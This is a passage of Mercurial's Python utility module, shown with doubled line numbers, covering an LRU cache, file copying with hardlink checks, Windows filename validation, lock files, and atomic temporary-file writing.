1547 1547 n = self._head.prev
1548 1548 while n.key is _notset and n is not self._head:
1549 1549 n = n.prev
1550 1550
1551 1551 # We could potentially skip the first N items when decreasing capacity.
1552 1552 # But let's keep it simple unless it is a performance problem.
1553 1553 for i in range(len(self._cache)):
1554 1554 result.insert(n.key, n.value, cost=n.cost)
1555 1555 n = n.prev
1556 1556
1557 1557 return result
1558 1558
1559 1559 def popoldest(self):
1560 1560 """Remove the oldest item from the cache.
1561 1561
1562 1562 Returns the (key, value) describing the removed cache entry.
1563 1563 """
1564 1564 if not self._cache:
1565 1565 return
1566 1566
1567 1567 # Walk the linked list backwards starting at tail node until we hit
1568 1568 # a non-empty node.
1569 1569 n = self._head.prev
1570 1570 while n.key is _notset:
1571 1571 n = n.prev
1572 1572
1573 1573 key, value = n.key, n.value
1574 1574
1575 1575 # And remove it from the cache and mark it as empty.
1576 1576 del self._cache[n.key]
1577 1577 self.totalcost -= n.cost
1578 1578 n.markempty()
1579 1579
1580 1580 return key, value
1581 1581
1582 1582 def _movetohead(self, node):
1583 1583 """Mark a node as the newest, making it the new head.
1584 1584
1585 1585 When a node is accessed, it becomes the freshest entry in the LRU
1586 1586 list, which is denoted by self._head.
1587 1587
1588 1588 Visually, let's make ``N`` the new head node (* denotes head):
1589 1589
1590 1590 previous/oldest <-> head <-> next/next newest
1591 1591
1592 1592 ----<->--- A* ---<->-----
1593 1593 | |
1594 1594 E <-> D <-> N <-> C <-> B
1595 1595
1596 1596 To:
1597 1597
1598 1598 ----<->--- N* ---<->-----
1599 1599 | |
1600 1600 E <-> D <-> C <-> B <-> A
1601 1601
1602 1602 This requires the following moves:
1603 1603
1604 1604 C.next = D (node.prev.next = node.next)
1605 1605 D.prev = C (node.next.prev = node.prev)
1606 1606 E.next = N (head.prev.next = node)
1607 1607 N.prev = E (node.prev = head.prev)
1608 1608 N.next = A (node.next = head)
1609 1609 A.prev = N (head.prev = node)
1610 1610 """
1611 1611 head = self._head
1612 1612 # C.next = D
1613 1613 node.prev.next = node.next
1614 1614 # D.prev = C
1615 1615 node.next.prev = node.prev
1616 1616 # N.prev = E
1617 1617 node.prev = head.prev
1618 1618 # N.next = A
1619 1619 # It is tempting to do just "head" here, however if node is
1620 1620 # adjacent to head, this will do bad things.
1621 1621 node.next = head.prev.next
1622 1622 # E.next = N
1623 1623 node.next.prev = node
1624 1624 # A.prev = N
1625 1625 node.prev.next = node
1626 1626
1627 1627 self._head = node
1628 1628
1629 1629 def _addcapacity(self):
1630 1630 """Add a node to the circular linked list.
1631 1631
1632 1632 The new node is inserted before the head node.
1633 1633 """
1634 1634 head = self._head
1635 1635 node = _lrucachenode()
1636 1636 head.prev.next = node
1637 1637 node.prev = head.prev
1638 1638 node.next = head
1639 1639 head.prev = node
1640 1640 self._size += 1
1641 1641 return node
1642 1642
1643 1643 def _enforcecostlimit(self):
1644 1644 # This should run after an insertion. It should only be called if total
1645 1645 # cost limits are being enforced.
1646 1646 # The most recently inserted node is never evicted.
1647 1647 if len(self) <= 1 or self.totalcost <= self.maxcost:
1648 1648 return
1649 1649
1650 1650 # This is logically equivalent to calling popoldest() until we
1651 1651 # free up enough cost. We don't do that since popoldest() needs
1652 1652 # to walk the linked list and doing this in a loop would be
1653 1653 # quadratic. So we find the first non-empty node and then
1654 1654 # walk nodes until we free up enough capacity.
1655 1655 #
1656 1656 # If we only removed the minimum number of nodes to free enough
1657 1657 # cost at insert time, chances are high that the next insert would
1658 1658 # also require pruning. This would effectively constitute quadratic
1659 1659 # behavior for insert-heavy workloads. To mitigate this, we set a
1660 1660 # target cost that is a percentage of the max cost. This will tend
1661 1661 # to free more nodes when the high water mark is reached, which
1662 1662 # lowers the chances of needing to prune on the subsequent insert.
1663 1663 targetcost = int(self.maxcost * 0.75)
1664 1664
1665 1665 n = self._head.prev
1666 1666 while n.key is _notset:
1667 1667 n = n.prev
1668 1668
1669 1669 while len(self) > 1 and self.totalcost > targetcost:
1670 1670 del self._cache[n.key]
1671 1671 self.totalcost -= n.cost
1672 1672 n.markempty()
1673 1673 n = n.prev
1674 1674
1675 1675
1676 1676 def lrucachefunc(func):
1677 1677 '''cache most recent results of function calls'''
1678 1678 cache = {}
1679 1679 order = collections.deque()
1680 1680 if func.__code__.co_argcount == 1:
1681 1681
1682 1682 def f(arg):
1683 1683 if arg not in cache:
1684 1684 if len(cache) > 20:
1685 1685 del cache[order.popleft()]
1686 1686 cache[arg] = func(arg)
1687 1687 else:
1688 1688 order.remove(arg)
1689 1689 order.append(arg)
1690 1690 return cache[arg]
1691 1691
1692 1692 else:
1693 1693
1694 1694 def f(*args):
1695 1695 if args not in cache:
1696 1696 if len(cache) > 20:
1697 1697 del cache[order.popleft()]
1698 1698 cache[args] = func(*args)
1699 1699 else:
1700 1700 order.remove(args)
1701 1701 order.append(args)
1702 1702 return cache[args]
1703 1703
1704 1704 return f
1705 1705
1706 1706
1707 1707 class propertycache(object):
1708 1708 def __init__(self, func):
1709 1709 self.func = func
1710 1710 self.name = func.__name__
1711 1711
1712 1712 def __get__(self, obj, type=None):
1713 1713 result = self.func(obj)
1714 1714 self.cachevalue(obj, result)
1715 1715 return result
1716 1716
1717 1717 def cachevalue(self, obj, value):
1718 1718 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1719 1719 obj.__dict__[self.name] = value
1720 1720
1721 1721
1722 1722 def clearcachedproperty(obj, prop):
1723 1723 '''clear a cached property value, if one has been set'''
1724 1724 prop = pycompat.sysstr(prop)
1725 1725 if prop in obj.__dict__:
1726 1726 del obj.__dict__[prop]
1727 1727
1728 1728
1729 1729 def increasingchunks(source, min=1024, max=65536):
1730 1730 '''return no less than min bytes per chunk while data remains,
1731 1731 doubling min after each chunk until it reaches max'''
1732 1732
1733 1733 def log2(x):
1734 1734 if not x:
1735 1735 return 0
1736 1736 i = 0
1737 1737 while x:
1738 1738 x >>= 1
1739 1739 i += 1
1740 1740 return i - 1
1741 1741
1742 1742 buf = []
1743 1743 blen = 0
1744 1744 for chunk in source:
1745 1745 buf.append(chunk)
1746 1746 blen += len(chunk)
1747 1747 if blen >= min:
1748 1748 if min < max:
1749 1749 min = min << 1
1750 1750 nmin = 1 << log2(blen)
1751 1751 if nmin > min:
1752 1752 min = nmin
1753 1753 if min > max:
1754 1754 min = max
1755 1755 yield b''.join(buf)
1756 1756 blen = 0
1757 1757 buf = []
1758 1758 if buf:
1759 1759 yield b''.join(buf)
1760 1760
1761 1761
1762 1762 def always(fn):
1763 1763 return True
1764 1764
1765 1765
1766 1766 def never(fn):
1767 1767 return False
1768 1768
1769 1769
1770 1770 def nogc(func):
1771 1771 """disable garbage collector
1772 1772
1773 1773 Python's garbage collector triggers a GC each time a certain number of
1774 1774 container objects (the number being defined by gc.get_threshold()) are
1775 1775 allocated even when marked not to be tracked by the collector. Tracking has
1776 1776 no effect on when GCs are triggered, only on what objects the GC looks
1777 1777 into. As a workaround, disable GC while building complex (huge)
1778 1778 containers.
1779 1779
1780 1780 This garbage collector issue have been fixed in 2.7. But it still affect
1781 1781 CPython's performance.
1782 1782 """
1783 1783
1784 1784 def wrapper(*args, **kwargs):
1785 1785 gcenabled = gc.isenabled()
1786 1786 gc.disable()
1787 1787 try:
1788 1788 return func(*args, **kwargs)
1789 1789 finally:
1790 1790 if gcenabled:
1791 1791 gc.enable()
1792 1792
1793 1793 return wrapper
1794 1794
1795 1795
1796 1796 if pycompat.ispypy:
1797 1797 # PyPy runs slower with gc disabled
1798 1798 nogc = lambda x: x
1799 1799
1800 1800
1801 1801 def pathto(root, n1, n2):
1802 1802 '''return the relative path from one place to another.
1803 1803 root should use os.sep to separate directories
1804 1804 n1 should use os.sep to separate directories
1805 1805 n2 should use "/" to separate directories
1806 1806 returns an os.sep-separated path.
1807 1807
1808 1808 If n1 is a relative path, it's assumed it's
1809 1809 relative to root.
1810 1810 n2 should always be relative to root.
1811 1811 '''
1812 1812 if not n1:
1813 1813 return localpath(n2)
1814 1814 if os.path.isabs(n1):
1815 1815 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1816 1816 return os.path.join(root, localpath(n2))
1817 1817 n2 = b'/'.join((pconvert(root), n2))
1818 1818 a, b = splitpath(n1), n2.split(b'/')
1819 1819 a.reverse()
1820 1820 b.reverse()
1821 1821 while a and b and a[-1] == b[-1]:
1822 1822 a.pop()
1823 1823 b.pop()
1824 1824 b.reverse()
1825 1825 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1826 1826
1827 1827
1828 1828 # the location of data files matching the source code
1829 1829 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != b'macosx_app':
1830 1830 # executable version (py2exe) doesn't support __file__
1831 1831 datapath = os.path.dirname(pycompat.sysexecutable)
1832 1832 else:
1833 1833 datapath = os.path.dirname(pycompat.fsencode(__file__))
1834 1834
1835 1835 i18n.setdatapath(datapath)
1836 1836
1837 1837
1838 1838 def checksignature(func):
1839 1839 '''wrap a function with code to check for calling errors'''
1840 1840
1841 1841 def check(*args, **kwargs):
1842 1842 try:
1843 1843 return func(*args, **kwargs)
1844 1844 except TypeError:
1845 1845 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1846 1846 raise error.SignatureError
1847 1847 raise
1848 1848
1849 1849 return check
1850 1850
1851 1851
1852 1852 # a whilelist of known filesystems where hardlink works reliably
1853 1853 _hardlinkfswhitelist = {
1854 1854 b'apfs',
1855 1855 b'btrfs',
1856 1856 b'ext2',
1857 1857 b'ext3',
1858 1858 b'ext4',
1859 1859 b'hfs',
1860 1860 b'jfs',
1861 1861 b'NTFS',
1862 1862 b'reiserfs',
1863 1863 b'tmpfs',
1864 1864 b'ufs',
1865 1865 b'xfs',
1866 1866 b'zfs',
1867 1867 }
1868 1868
1869 1869
1870 1870 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1871 1871 '''copy a file, preserving mode and optionally other stat info like
1872 1872 atime/mtime
1873 1873
1874 1874 checkambig argument is used with filestat, and is useful only if
1875 1875 destination file is guarded by any lock (e.g. repo.lock or
1876 1876 repo.wlock).
1877 1877
1878 1878 copystat and checkambig should be exclusive.
1879 1879 '''
1880 1880 assert not (copystat and checkambig)
1881 1881 oldstat = None
1882 1882 if os.path.lexists(dest):
1883 1883 if checkambig:
1884 1884 oldstat = checkambig and filestat.frompath(dest)
1885 1885 unlink(dest)
1886 1886 if hardlink:
1887 1887 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1888 1888 # unless we are confident that dest is on a whitelisted filesystem.
1889 1889 try:
1890 1890 fstype = getfstype(os.path.dirname(dest))
1891 1891 except OSError:
1892 1892 fstype = None
1893 1893 if fstype not in _hardlinkfswhitelist:
1894 1894 hardlink = False
1895 1895 if hardlink:
1896 1896 try:
1897 1897 oslink(src, dest)
1898 1898 return
1899 1899 except (IOError, OSError):
1900 1900 pass # fall back to normal copy
1901 1901 if os.path.islink(src):
1902 1902 os.symlink(os.readlink(src), dest)
1903 1903 # copytime is ignored for symlinks, but in general copytime isn't needed
1904 1904 # for them anyway
1905 1905 else:
1906 1906 try:
1907 1907 shutil.copyfile(src, dest)
1908 1908 if copystat:
1909 1909 # copystat also copies mode
1910 1910 shutil.copystat(src, dest)
1911 1911 else:
1912 1912 shutil.copymode(src, dest)
1913 1913 if oldstat and oldstat.stat:
1914 1914 newstat = filestat.frompath(dest)
1915 1915 if newstat.isambig(oldstat):
1916 1916 # stat of copied file is ambiguous to original one
1917 1917 advanced = (
1918 1918 oldstat.stat[stat.ST_MTIME] + 1
1919 1919 ) & 0x7FFFFFFF
1920 1920 os.utime(dest, (advanced, advanced))
1921 1921 except shutil.Error as inst:
1922 1922 raise error.Abort(str(inst))
1923 1923
1924 1924
1925 1925 def copyfiles(src, dst, hardlink=None, progress=None):
1926 1926 """Copy a directory tree using hardlinks if possible."""
1927 1927 num = 0
1928 1928
1929 1929 def settopic():
1930 1930 if progress:
1931 1931 progress.topic = _(b'linking') if hardlink else _(b'copying')
1932 1932
1933 1933 if os.path.isdir(src):
1934 1934 if hardlink is None:
1935 1935 hardlink = (
1936 1936 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1937 1937 )
1938 1938 settopic()
1939 1939 os.mkdir(dst)
1940 1940 for name, kind in listdir(src):
1941 1941 srcname = os.path.join(src, name)
1942 1942 dstname = os.path.join(dst, name)
1943 1943 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1944 1944 num += n
1945 1945 else:
1946 1946 if hardlink is None:
1947 1947 hardlink = (
1948 1948 os.stat(os.path.dirname(src)).st_dev
1949 1949 == os.stat(os.path.dirname(dst)).st_dev
1950 1950 )
1951 1951 settopic()
1952 1952
1953 1953 if hardlink:
1954 1954 try:
1955 1955 oslink(src, dst)
1956 1956 except (IOError, OSError):
1957 1957 hardlink = False
1958 1958 shutil.copy(src, dst)
1959 1959 else:
1960 1960 shutil.copy(src, dst)
1961 1961 num += 1
1962 1962 if progress:
1963 1963 progress.increment()
1964 1964
1965 1965 return hardlink, num
1966 1966
1967 1967
1968 1968 _winreservednames = {
1969 1969 b'con',
1970 1970 b'prn',
1971 1971 b'aux',
1972 1972 b'nul',
1973 1973 b'com1',
1974 1974 b'com2',
1975 1975 b'com3',
1976 1976 b'com4',
1977 1977 b'com5',
1978 1978 b'com6',
1979 1979 b'com7',
1980 1980 b'com8',
1981 1981 b'com9',
1982 1982 b'lpt1',
1983 1983 b'lpt2',
1984 1984 b'lpt3',
1985 1985 b'lpt4',
1986 1986 b'lpt5',
1987 1987 b'lpt6',
1988 1988 b'lpt7',
1989 1989 b'lpt8',
1990 1990 b'lpt9',
1991 1991 }
1992 1992 _winreservedchars = b':*?"<>|'
1993 1993
1994 1994
1995 1995 def checkwinfilename(path):
1996 1996 r'''Check that the base-relative path is a valid filename on Windows.
1997 1997 Returns None if the path is ok, or a UI string describing the problem.
1998 1998
1999 1999 >>> checkwinfilename(b"just/a/normal/path")
2000 2000 >>> checkwinfilename(b"foo/bar/con.xml")
2001 2001 "filename contains 'con', which is reserved on Windows"
2002 2002 >>> checkwinfilename(b"foo/con.xml/bar")
2003 2003 "filename contains 'con', which is reserved on Windows"
2004 2004 >>> checkwinfilename(b"foo/bar/xml.con")
2005 2005 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
2006 2006 "filename contains 'AUX', which is reserved on Windows"
2007 2007 >>> checkwinfilename(b"foo/bar/bla:.txt")
2008 2008 "filename contains ':', which is reserved on Windows"
2009 2009 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2010 2010 "filename contains '\\x07', which is invalid on Windows"
2011 2011 >>> checkwinfilename(b"foo/bar/bla ")
2012 2012 "filename ends with ' ', which is not allowed on Windows"
2013 2013 >>> checkwinfilename(b"../bar")
2014 2014 >>> checkwinfilename(b"foo\\")
2015 2015 "filename ends with '\\', which is invalid on Windows"
2016 2016 >>> checkwinfilename(b"foo\\/bar")
2017 2017 "directory name ends with '\\', which is invalid on Windows"
2018 2018 '''
2019 2019 if path.endswith(b'\\'):
2020 2020 return _(b"filename ends with '\\', which is invalid on Windows")
2021 2021 if b'\\/' in path:
2022 2022 return _(b"directory name ends with '\\', which is invalid on Windows")
2023 2023 for n in path.replace(b'\\', b'/').split(b'/'):
2024 2024 if not n:
2025 2025 continue
2026 2026 for c in _filenamebytestr(n):
2027 2027 if c in _winreservedchars:
2028 2028 return (
2029 2029 _(
2030 2030 b"filename contains '%s', which is reserved "
2031 2031 b"on Windows"
2032 2032 )
2033 2033 % c
2034 2034 )
2035 2035 if ord(c) <= 31:
2036 2036 return _(
2037 2037 b"filename contains '%s', which is invalid on Windows"
2038 2038 ) % stringutil.escapestr(c)
2039 2039 base = n.split(b'.')[0]
2040 2040 if base and base.lower() in _winreservednames:
2041 2041 return (
2042 2042 _(b"filename contains '%s', which is reserved on Windows")
2043 2043 % base
2044 2044 )
2045 2045 t = n[-1:]
2046 2046 if t in b'. ' and n not in b'..':
2047 2047 return (
2048 2048 _(
2049 2049 b"filename ends with '%s', which is not allowed "
2050 2050 b"on Windows"
2051 2051 )
2052 2052 % t
2053 2053 )
2054 2054
2055 2055
2056 2056 if pycompat.iswindows:
2057 2057 checkosfilename = checkwinfilename
2058 2058 timer = time.clock
2059 2059 else:
2060 2060 checkosfilename = platform.checkosfilename
2061 2061 timer = time.time
2062 2062
2063 2063 if safehasattr(time, "perf_counter"):
2064 2064 timer = time.perf_counter
2065 2065
2066 2066
2067 2067 def makelock(info, pathname):
2068 2068 """Create a lock file atomically if possible
2069 2069
2070 2070 This may leave a stale lock file if symlink isn't supported and signal
2071 2071 interrupt is enabled.
2072 2072 """
2073 2073 try:
2074 2074 return os.symlink(info, pathname)
2075 2075 except OSError as why:
2076 2076 if why.errno == errno.EEXIST:
2077 2077 raise
2078 2078 except AttributeError: # no symlink in os
2079 2079 pass
2080 2080
2081 2081 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2082 2082 ld = os.open(pathname, flags)
2083 2083 os.write(ld, info)
2084 2084 os.close(ld)
2085 2085
2086 2086
2087 2087 def readlock(pathname):
2088 2088 try:
2089 2089 return readlink(pathname)
2090 2090 except OSError as why:
2091 2091 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2092 2092 raise
2093 2093 except AttributeError: # no symlink in os
2094 2094 pass
2095 2095 with posixfile(pathname, b'rb') as fp:
2096 2096 return fp.read()
2097 2097
2098 2098
2099 2099 def fstat(fp):
2100 2100 '''stat file object that may not have fileno method.'''
2101 2101 try:
2102 2102 return os.fstat(fp.fileno())
2103 2103 except AttributeError:
2104 2104 return os.stat(fp.name)
2105 2105
2106 2106
2107 2107 # File system features
2108 2108
2109 2109
2110 2110 def fscasesensitive(path):
2111 2111 """
2112 2112 Return true if the given path is on a case-sensitive filesystem
2113 2113
2114 2114 Requires a path (like /foo/.hg) ending with a foldable final
2115 2115 directory component.
2116 2116 """
2117 2117 s1 = os.lstat(path)
2118 2118 d, b = os.path.split(path)
2119 2119 b2 = b.upper()
2120 2120 if b == b2:
2121 2121 b2 = b.lower()
2122 2122 if b == b2:
2123 2123 return True # no evidence against case sensitivity
2124 2124 p2 = os.path.join(d, b2)
2125 2125 try:
2126 2126 s2 = os.lstat(p2)
2127 2127 if s2 == s1:
2128 2128 return False
2129 2129 return True
2130 2130 except OSError:
2131 2131 return True
2132 2132
2133 2133
2134 2134 try:
2135 2135 import re2
2136 2136
2137 2137 _re2 = None
2138 2138 except ImportError:
2139 2139 _re2 = False
2140 2140
2141 2141
2142 2142 class _re(object):
2143 2143 def _checkre2(self):
2144 2144 global _re2
2145 2145 try:
2146 2146 # check if match works, see issue3964
2147 2147 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2148 2148 except ImportError:
2149 2149 _re2 = False
2150 2150
2151 2151 def compile(self, pat, flags=0):
2152 2152 '''Compile a regular expression, using re2 if possible
2153 2153
2154 2154 For best performance, use only re2-compatible regexp features. The
2155 2155 only flags from the re module that are re2-compatible are
2156 2156 IGNORECASE and MULTILINE.'''
2157 2157 if _re2 is None:
2158 2158 self._checkre2()
2159 2159 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2160 2160 if flags & remod.IGNORECASE:
2161 2161 pat = b'(?i)' + pat
2162 2162 if flags & remod.MULTILINE:
2163 2163 pat = b'(?m)' + pat
2164 2164 try:
2165 2165 return re2.compile(pat)
2166 2166 except re2.error:
2167 2167 pass
2168 2168 return remod.compile(pat, flags)
2169 2169
2170 2170 @propertycache
2171 2171 def escape(self):
2172 2172 '''Return the version of escape corresponding to self.compile.
2173 2173
2174 2174 This is imperfect because whether re2 or re is used for a particular
2175 2175 function depends on the flags, etc, but it's the best we can do.
2176 2176 '''
2177 2177 global _re2
2178 2178 if _re2 is None:
2179 2179 self._checkre2()
2180 2180 if _re2:
2181 2181 return re2.escape
2182 2182 else:
2183 2183 return remod.escape
2184 2184
2185 2185
2186 2186 re = _re()
2187 2187
2188 2188 _fspathcache = {}
2189 2189
2190 2190
2191 2191 def fspath(name, root):
2192 2192 '''Get name in the case stored in the filesystem
2193 2193
2194 2194 The name should be relative to root, and be normcase-ed for efficiency.
2195 2195
2196 2196 Note that this function is unnecessary, and should not be
2197 2197 called, for case-sensitive filesystems (simply because it's expensive).
2198 2198
2199 2199 The root should be normcase-ed, too.
2200 2200 '''
2201 2201
2202 2202 def _makefspathcacheentry(dir):
2203 2203 return dict((normcase(n), n) for n in os.listdir(dir))
2204 2204
2205 2205 seps = pycompat.ossep
2206 2206 if pycompat.osaltsep:
2207 2207 seps = seps + pycompat.osaltsep
2208 2208 # Protect backslashes. This gets silly very quickly.
2209 2209 seps.replace(b'\\', b'\\\\')
2210 2210 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2211 2211 dir = os.path.normpath(root)
2212 2212 result = []
2213 2213 for part, sep in pattern.findall(name):
2214 2214 if sep:
2215 2215 result.append(sep)
2216 2216 continue
2217 2217
2218 2218 if dir not in _fspathcache:
2219 2219 _fspathcache[dir] = _makefspathcacheentry(dir)
2220 2220 contents = _fspathcache[dir]
2221 2221
2222 2222 found = contents.get(part)
2223 2223 if not found:
2224 2224 # retry "once per directory" per "dirstate.walk" which
2225 2225 # may take place for each patches of "hg qpush", for example
2226 2226 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2227 2227 found = contents.get(part)
2228 2228
2229 2229 result.append(found or part)
2230 2230 dir = os.path.join(dir, part)
2231 2231
2232 2232 return b''.join(result)
2233 2233
2234 2234
2235 2235 def checknlink(testfile):
2236 2236 '''check whether hardlink count reporting works properly'''
2237 2237
2238 2238 # testfile may be open, so we need a separate file for checking to
2239 2239 # work around issue2543 (or testfile may get lost on Samba shares)
2240 2240 f1, f2, fp = None, None, None
2241 2241 try:
2242 2242 fd, f1 = pycompat.mkstemp(
2243 2243 prefix=b'.%s-' % os.path.basename(testfile),
2244 2244 suffix=b'1~',
2245 2245 dir=os.path.dirname(testfile),
2246 2246 )
2247 2247 os.close(fd)
2248 2248 f2 = b'%s2~' % f1[:-2]
2249 2249
2250 2250 oslink(f1, f2)
2251 2251 # nlinks() may behave differently for files on Windows shares if
2252 2252 # the file is open.
2253 2253 fp = posixfile(f2)
2254 2254 return nlinks(f2) > 1
2255 2255 except OSError:
2256 2256 return False
2257 2257 finally:
2258 2258 if fp is not None:
2259 2259 fp.close()
2260 2260 for f in (f1, f2):
2261 2261 try:
2262 2262 if f is not None:
2263 2263 os.unlink(f)
2264 2264 except OSError:
2265 2265 pass
2266 2266
2267 2267
2268 2268 def endswithsep(path):
2269 2269 '''Check path ends with os.sep or os.altsep.'''
2270 2270 return (
2271 2271 path.endswith(pycompat.ossep)
2272 2272 or pycompat.osaltsep
2273 2273 and path.endswith(pycompat.osaltsep)
2274 2274 )
2275 2275
2276 2276
2277 2277 def splitpath(path):
2278 2278 '''Split path by os.sep.
2279 2279 Note that this function does not use os.altsep because this is
2280 2280 an alternative of simple "xxx.split(os.sep)".
2281 2281 It is recommended to use os.path.normpath() before using this
2282 2282 function if need.'''
2283 2283 return path.split(pycompat.ossep)
2284 2284
2285 2285
2286 2286 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2287 2287 """Create a temporary file with the same contents from name
2288 2288
2289 2289 The permission bits are copied from the original file.
2290 2290
2291 2291 If the temporary file is going to be truncated immediately, you
2292 2292 can use emptyok=True as an optimization.
2293 2293
2294 2294 Returns the name of the temporary file.
2295 2295 """
2296 2296 d, fn = os.path.split(name)
2297 2297 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2298 2298 os.close(fd)
2299 2299 # Temporary files are created with mode 0600, which is usually not
2300 2300 # what we want. If the original file already exists, just copy
2301 2301 # its mode. Otherwise, manually obey umask.
2302 2302 copymode(name, temp, createmode, enforcewritable)
2303 2303
2304 2304 if emptyok:
2305 2305 return temp
2306 2306 try:
2307 2307 try:
2308 2308 ifp = posixfile(name, b"rb")
2309 2309 except IOError as inst:
2310 2310 if inst.errno == errno.ENOENT:
2311 2311 return temp
2312 2312 if not getattr(inst, 'filename', None):
2313 2313 inst.filename = name
2314 2314 raise
2315 2315 ofp = posixfile(temp, b"wb")
2316 2316 for chunk in filechunkiter(ifp):
2317 2317 ofp.write(chunk)
2318 2318 ifp.close()
2319 2319 ofp.close()
2320 2320 except: # re-raises
2321 2321 try:
2322 2322 os.unlink(temp)
2323 2323 except OSError:
2324 2324 pass
2325 2325 raise
2326 2326 return temp
2327 2327
2328 2328
2329 2329 class filestat(object):
2330 2330 """help to exactly detect change of a file
2331 2331
2332 2332 'stat' attribute is result of 'os.stat()' if specified 'path'
2333 2333 exists. Otherwise, it is None. This can avoid preparative
2334 2334 'exists()' examination on client side of this class.
2335 2335 """
2336 2336
2337 2337 def __init__(self, stat):
2338 2338 self.stat = stat
2339 2339
2340 2340 @classmethod
2341 2341 def frompath(cls, path):
2342 2342 try:
2343 2343 stat = os.stat(path)
2344 2344 except OSError as err:
2345 2345 if err.errno != errno.ENOENT:
2346 2346 raise
2347 2347 stat = None
2348 2348 return cls(stat)
2349 2349
2350 2350 @classmethod
2351 2351 def fromfp(cls, fp):
2352 2352 stat = os.fstat(fp.fileno())
2353 2353 return cls(stat)
2354 2354
2355 2355 __hash__ = object.__hash__
2356 2356
2357 2357 def __eq__(self, old):
2358 2358 try:
2359 2359 # if ambiguity between stat of new and old file is
2360 2360 # avoided, comparison of size, ctime and mtime is enough
2361 2361 # to exactly detect change of a file regardless of platform
2362 2362 return (
2363 2363 self.stat.st_size == old.stat.st_size
2364 2364 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2365 2365 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2366 2366 )
2367 2367 except AttributeError:
2368 2368 pass
2369 2369 try:
2370 2370 return self.stat is None and old.stat is None
2371 2371 except AttributeError:
2372 2372 return False
2373 2373
2374 2374 def isambig(self, old):
2375 2375 """Examine whether new (= self) stat is ambiguous against old one
2376 2376
2377 2377 "S[N]" below means stat of a file at N-th change:
2378 2378
2379 2379 - S[n-1].ctime < S[n].ctime: can detect change of a file
2380 2380 - S[n-1].ctime == S[n].ctime
2381 2381 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2382 2382 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2383 2383 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2384 2384 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2385 2385
2386 2386 Case (*2) above means that a file was changed twice or more at
2387 2387 same time in sec (= S[n-1].ctime), and comparison of timestamp
2388 2388 is ambiguous.
2389 2389
2390 2390 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2391 2391 timestamp is ambiguous".
2392 2392
2393 2393 But advancing mtime only in case (*2) doesn't work as
2394 2394 expected, because naturally advanced S[n].mtime in case (*1)
2395 2395 might be equal to manually advanced S[n-1 or earlier].mtime.
2396 2396
2397 2397 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2398 2398 treated as ambiguous regardless of mtime, to avoid overlooking
2399 2399 by confliction between such mtime.
2400 2400
2401 2401 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2402 2402 S[n].mtime", even if size of a file isn't changed.
2403 2403 """
2404 2404 try:
2405 2405 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2406 2406 except AttributeError:
2407 2407 return False
2408 2408
2409 2409 def avoidambig(self, path, old):
2410 2410 """Change file stat of specified path to avoid ambiguity
2411 2411
2412 2412 'old' should be previous filestat of 'path'.
2413 2413
2414 2414 This skips avoiding ambiguity, if a process doesn't have
2415 2415 appropriate privileges for 'path'. This returns False in this
2416 2416 case.
2417 2417
2418 2418 Otherwise, this returns True, as "ambiguity is avoided".
2419 2419 """
2420 2420 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2421 2421 try:
2422 2422 os.utime(path, (advanced, advanced))
2423 2423 except OSError as inst:
2424 2424 if inst.errno == errno.EPERM:
2425 2425 # utime() on the file created by another user causes EPERM,
2426 2426 # if a process doesn't have appropriate privileges
2427 2427 return False
2428 2428 raise
2429 2429 return True
2430 2430
2431 2431 def __ne__(self, other):
2432 2432 return not self == other
2433 2433
2434 2434
2435 2435 class atomictempfile(object):
2436 2436 '''writable file object that atomically updates a file
2437 2437
2438 2438 All writes will go to a temporary copy of the original file. Call
2439 2439 close() when you are done writing, and atomictempfile will rename
2440 2440 the temporary copy to the original name, making the changes
2441 2441 visible. If the object is destroyed without being closed, all your
2442 2442 writes are discarded.
2443 2443
2444 2444 checkambig argument of constructor is used with filestat, and is
2445 2445 useful only if target file is guarded by any lock (e.g. repo.lock
2446 2446 or repo.wlock).
2447 2447 '''
2448 2448
2449 2449 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2450 2450 self.__name = name # permanent name
2451 2451 self._tempname = mktempcopy(
2452 2452 name,
2453 2453 emptyok=(b'w' in mode),
2454 2454 createmode=createmode,
2455 2455 enforcewritable=(b'w' in mode),
2456 2456 )
2457 2457
2458 2458 self._fp = posixfile(self._tempname, mode)
2459 2459 self._checkambig = checkambig
2460 2460
2461 2461 # delegated methods
2462 2462 self.read = self._fp.read
2463 2463 self.write = self._fp.write
2464 2464 self.seek = self._fp.seek
2465 2465 self.tell = self._fp.tell
2466 2466 self.fileno = self._fp.fileno
2467 2467
2468 2468 def close(self):
2469 2469 if not self._fp.closed:
2470 2470 self._fp.close()
2471 2471 filename = localpath(self.__name)
2472 2472 oldstat = self._checkambig and filestat.frompath(filename)
2473 2473 if oldstat and oldstat.stat:
2474 2474 rename(self._tempname, filename)
